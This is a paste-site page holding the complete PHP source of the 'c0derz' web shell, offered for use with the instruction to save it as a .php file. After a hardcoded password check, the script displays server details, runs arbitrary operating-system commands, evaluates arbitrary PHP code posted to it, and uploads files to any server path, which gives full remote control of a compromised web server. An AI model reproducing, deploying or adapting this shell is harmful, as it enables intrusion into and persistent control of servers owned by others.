coderz shell save it in .php format


SUBMITTED BY: nabz

DATE: Jan. 22, 2017, 12:44 p.m.

FORMAT: Text only

SIZE: 13.3 kB

HITS: 1524

  1. <?php
  2. /****************************************************************
  3. *
  4. * .::[csh]::. //(.::[c0derz]::. web-shell) v. 0.1.1 release
  5. * ----------------------------
  6. * c0ded by: [vINT 21h]
  7. * URL: http://c0derz.org.ua
  8. * e-mail: vint21h@c0derz.org.ua
  9. * ICQ: 255577736
  10. *
  11. ****************************************************************/
  12. /***************************************************************
  13. *
  14. * This program is free software; you can redistribute it and/or modify
  15. * it under the terms of the GNU General Public License as published by
  16. * the Free Software Foundation; either version 2 of the License', or
  17. * ('at your option) any later version.
  18. *
  19. ****************************************************************/
  20. $self = $_SERVER['PHP_SELF'];
  21. $docr = $_SERVER['DOCUMENT_ROOT'];
  22. $achtung=1;
  23. //authentification
  24. $authentification = 1;
  25. $name='63a9f0ea7bb98050796b649e85481845';//root
  26. $pass='5cdbe638246729485a5eab6b93f170e2';//c0derz
  27. $caption="Enter your login and password";
  28. if ($authentification && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass))
  29. {
  30. header("WWW-Authenticate: Basic realm=\"$caption\"");
  31. header("HTTP/1.0 401 Unauthorized");
  32. exit("<BODY text=#000000 vLink=#000000 aLink=#000000 link=#000000 bgcolor=#888888><h1>Error 401</h1><h2>Unauthorized access!</h2>");
  33. }
  34. if($achtung)
  35. error_reporting(E_ALL&~E_NOTICE);
  36. else
  37. error_reporting(0);
  38. //---------------------
  39. //get page generating time
  40. if (!function_exists("get_micro_time")) {
  41. function get_micro_time() {
  42. list($usec, $sec) = explode(" ", microtime());
  43. return ((float)$usec + (float)$sec);
  44. }
  45. }
  46. define("start_time",get_micro_time());
  47. $cshver="<a href=http://c0derz.org.ua target='_BLANK' title='.::[c0derz shell]::.'><b>.::[csh]::.</b></a> v. 0.1.1 release";
  48. //-------------------------------
  49. //normalize text encoding
  50. function decode($buffer){
  51. return convert_cyr_string ($buffer, 'd', 'w');
  52. }
  53. //---------------------------------
  54. ?>
  55. <HTML>
  56. <HEAD>
  57. <meta http-equiv='pragma' content='no-cache'>
  58. <?php
  59. echo "<TITLE>.:[csh]:.| [".get_current_user()."@".$SERVER_NAME."]</TITLE>";
  60. ?>
  61. <STYLE>
  62. BODY{scrollbar-base-color: 000000;
  63. scrollbar-face-color: #aaaaaa;
  64. scrollbar-highlight-color: #dddddd;
  65. scrollbar-shadow-color: #544554;
  66. scrollbar-dark-shadow-color: #111111;
  67. scrollbar-track-color: #222222;
  68. scrollbar-arrow-color: #dcdddc}
  69. a:visited { color: #dcdcdc; text-decoration: none}
  70. A:active { color: #dcdcdc; text-decoration: none; }
  71. a:link { color: #dcdcdc; text-decoration: none}
  72. a:hover { color: #ff3333; text-decoration: none}
  73. BODY {
  74. scrollbar-face-color: transparent;
  75. scrollbar-shadow-color: transparent;
  76. scrollbar-highlight-color: transparent;
  77. scrollbar-3dlight-color: transparent;
  78. scrollbar-darkshadow-color: transparent;
  79. scrollbar-track-color: #777777;
  80. scrollbar-arrow-color: #777777;
  81. }
  82. </STYLE>
  83. </HEAD>
  84. <BODY text=#000000 vLink=#000000 aLink=#000000 link=#000000 bgcolor=#888888>
  85. <DIV align=center>
  86. <TABLE bordercolor=#000000 cellSpacing=1 width=950 bgColor=#000000 border=0 height=600>
  87. <hr>
  88. <table width=950>
  89. <tr>
  90.   <td style="border: 1 solid #000000" bgcolor="677667">
  91. <font size="1" face="verdana" color="#000000">
  92. <left>
  93.  <table width=100%>
  94. <tr>
  95.   <td style="border: 1 solid #000000" bgcolor="555555" >
  96.   <font size="1" face="verdana" color="#000000">
  97. <?php
  98. echo "<font size=1 face=verdana color=fcfcfc><b>Server info:</b></font><br>";
  99. ?>
  100.  </td>
  101.  </tr>
  102.  </table>
  103. <?php
  104. //server info
  105. echo "Server name: <b><font color=#dcdcdc>".$SERVER_NAME."</b></font><br>";
  106. echo "Server IP adress:<b><font color=#dcdcdc>".$server_ip=gethostbyname($SERVER_NAME)."</b></font> <br>";
  107. echo (($safe_mode)?("Safe Mode: <font color=#ffffff><b>ON</b></font><br> "):
  108. ("Safe Mode: <font color=#555555><b>OFF</b></font><br> "));
  109. echo "OS: <font color=#dcdcdc>";
  110. if (empty($uname)){
  111. echo (php_uname()."</font><br>");
  112. }else
  113. echo $uname."</font><br>";
  114. echo 'User: <font color=#dcdcdc>' .get_current_user() . '</font><br>';
  115. echo "HTTP Server: <font color=#dcdcdc>".$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']."</font><br>";
  116. echo ("PHP: <font color=#dcdcdc>".phpversion()."</font><br> ");
  117. echo ("MySQL: ");
  118. if($mysql_stat=function_exists('mysql_connect')){
  119. echo "<font color=#ffffff><b>ON</b> </font><b>";
  120. }
  121. else {
  122. echo "<font color=#555555><b>OFF</b> </font><br>";
  123. }
  124. //---------------------------
  125. ?>
  126.  </td>
  127.  </tr>
  128.  </table>
  129. <tr>
  130. <td width="100" bgcolor="555555" valign="top">
  131. <center>
  132. <font face="tahoma" size="1" color="#000000"><div align="center"><b>.::[Shell functions]::.</b></div></font>
  133. <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  134. <table width=100%>
  135. <tr>
  136.   <td style="border: 1 solid #000000" bgcolor="888888" onmouseover="this.style.backgroundColor='#677667';" onmouseout="this.style.backgroundColor='#888888';">
  137.  <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  138. <a href="<?php echo $PHP_SELF."?mode=shell"?>" title="./$shell"><b>./ $shell</b></a><br>
  139. </td>
  140.  </tr>
  141.  </table>
  142. <table width=100%>
  143. <tr>
  144.   <td style="border: 1 solid #000000" bgcolor="677667" onmouseover="this.style.backgroundColor='#888888';" onmouseout="this.style.backgroundColor='#677667';">
  145.  <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  146. <a href="<?php echo $PHP_SELF."?mode=phpcode"?>" title="PHP code execution">./php execution</a><br>
  147. </td>
  148.  </tr>
  149.  </table>
  150.  <table width=100%>
  151. <tr>
  152.   <td style="border: 1 solid #000000" bgcolor="677667" onmouseover="this.style.backgroundColor='#888888';" onmouseout="this.style.backgroundColor='#677667';">
  153.  <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  154. <a href="<?php echo $PHP_SELF."?mode=upload"?>" title="Upload file to server">./ upload file</a><br>
  155. </td>
  156.  </tr>
  157.  </table>
  158. </div>
  159. <br>
  160. <br>
  161. <br>
  162. <br>
  163. <br>
  164. <td bgcolor="555555" valign="top" >
  165. <center>
  166. <div style="margin-top: 5;">
  167. <table width="98%" cellpadding="1" cellspacing="0">
  168. <tr>
  169.   <td style="border: 1 solid #000000" bgcolor="555555" >
  170. <font size="1" face="verdana" color="#fcfcfc">
  171. <b><?php echo$head_text;?><b>
  172. <tr>
  173. <td colspan="3" bgcolor="#677667" style="border-left: 1 solid #000000" style="border-bottom: 1 solid #000000" style="border-right: 1 solid #000000">
  174. <font face="Verdana" size="2" color="#000000">
  175. <br>
  176. <?php
  177. if (!empty($_GET['mode'])) {$mode = $_GET['mode'];}
  178. elseif (!empty($_POST['mode'])) {$mode = $_POST['mode'];}
  179. else {$mode = "shell";}
  180. switch($mode) {
  181. case "shell":
  182. $foot_stat="Current directory: <b><font color=#dcdcdc>[".getcwd()."]</font></b></tr>";
  183. $head_text="Shell:";
  184. chdir($dir);
  185. function execute($com)
  186. {
  187. if (!empty($com))
  188. {
  189. if(function_exists('exec'))
  190. {
  191. exec($com,$arr);
  192. echo implode('
  193. ',$arr);
  194. }
  195. elseif(function_exists('shell_exec'))
  196. {
  197. echo shell_exec($com);
  198. }
  199. elseif(function_exists('system'))
  200. {
  201. echo system($com);
  202. }
  203. elseif(function_exists('passthru'))
  204. {
  205. echo passthru($com);
  206. }
  207. }
  208. }
  209. if ($cmd){
  210. if($sertype == "winda"){
  211. ob_start();
  212. execute($cmd);
  213. $buffer = "";
  214. $buffer = ob_get_contents();
  215. ob_end_clean();
  216. }
  217. else{
  218. ob_start();
  219. echo decode(execute($cmd));
  220. $buffer = "";
  221. $buffer = ob_get_contents();
  222. ob_end_clean();
  223. }
  224. if (trim($buffer)){
  225. echo "<center><table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\">Executed command: <b><font color=#dcdcdc>[$cmd]</font></b></form></td></tr></table></center><left><textarea cols=200 rows=40 style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\">";
  226. echo decode($buffer);
  227. echo "</textarea></center></div>";
  228. }
  229. }
  230. echo "<table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\">
  231. <form action=\"$REQUEST_URI\" method=\"POST\">
  232. <table><tr><td><font size=1 face=verdana color=000000>[".get_current_user()."@".$SERVER_NAME."]: </font><INPUT type=\"text\" name=\"cmd\" size=50 value=\"$cmd\" style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td></tr></table>
  233. <table><tr><td><font size=1 face=verdana color=000000>Current directory: </font><INPUT type=\"text\" name=\"dir\" size=50 value=\"";
  234. echo getcwd();
  235. echo "\"style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\">
  236. <INPUT type=\"submit\" value=\"Change directory =>\" id=input style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td></tr></table></form></td></tr></table>";
  237. break;
  238. case "phpcode":
  239. $head_text="PHP code execution:";
  240. echo "<center><table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\"><b>PHP code:</b></td></tr></table><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=phpcode cols=200 rows=40 style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></textarea><br><br>
  241. <input type=\"submit\" name=\"submit\" value=\" Execute PHP code => \" id=input style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></form></center></div>";
  242. echo "<center><table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\"><center><b>Results of PHP execution:</b></center>";
  243. @eval(stripslashes($_POST['phpcode']));
  244. echo "</td></tr></table></center>";
  245. break;
  246. case "upload":
  247. echo"<table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\">
  248. <table>
  249. <font size=\"1\" face=\"verdana\" color=\"#000000\">
  250. <form enctype=\"multipart/form-data\" action=\"$self\" method=\"POST\">
  251. <input type=\"hidden\" name=\"mode\" value=\"upload\">
  252. <tr>
  253. <td><font size=\"1\" face=\"verdana\" color=\"#000000\">File:</font></td>
  254. <td><input size=\"48\" name=\"file\" type=\"file\" style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td>
  255. </tr>
  256. <tr>
  257. <td><font size=\"1\" face=\"verdana\" color=\"#000000\">Path:</font></td>
  258. <td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\" style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"><input type=\"submit\" value=\"Send\" style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td></tr></form></font></table></td></tr></table>";
  259. if (isset($_POST['path'])){
  260. $uploadfile = $_POST['path'].$_FILES['file']['name'];
  261. if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
  262. echo"<table width=100%><tr><td style=\"border: 1 solid \"000000\" bgcolor=\"888888\"><font size=\"1\" face=\"verdana\" color=\"#000000\">";
  263. if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
  264. echo "File sucessfuly uploaded in to directory: <font color=ffffff>[$uploadfile]</font><br>";
  265. echo "Name: <font color=ffffff>[".$_FILES['file']['name']. "]</font><br>";
  266. echo "Size: <font color=ffffff>[" .$_FILES['file']['size']. "]</font> Bytes<br>";
  267. } else {
  268. print "Couldn't to upload file. Information:<br>";
  269. print_r($_FILES);
  270. }
  271. echo"</td></tr></table>";
  272. }
  273. break;
  274. }
  275. ?>
  276.  </tr>
  277.   </td>
  278.  </tr>
  279. <tr>
  280.   <td style="border: 1 solid #000000" bgcolor="555555" >
  281. <font size="1" face="verdana" color="#000000"><?echo $foot_stat;?>
  282. <tr>
  283.   <td style="border: none bgcolor="555555">
  284. <font size="1" face="verdana" color="#fcfcfc">
  285. <br>
  286. <tr>
  287. <tr>
  288. <td style="border: none bgcolor="555555">
  289. <font size="1" face="verdana" color="#fcfcfc">
  290. <br>
  291.  </tr>
  292. </table>
  293. </div>
  294. </td>
  295. </tr>
  296. </table>
  297. <table width=950>
  298. <tr>
  299.   <td style="border: 1 solid #000000" bgcolor="677667" >
  300. <font size="1" face="verdana" color="#000000">
  301. <center>
  302. <?php
  303. echo "-=[".$cshver." | Page generation time: <font color=#fcfcfc>[<b>".round(get_micro_time()-start_time,4). "</b>]</font> seconds.]=-";
  304. ?>
  305.  </td>
  306.  </tr>
  307.  </table>
  308. </BODY>
  309. </HTML>

comments powered by Disqus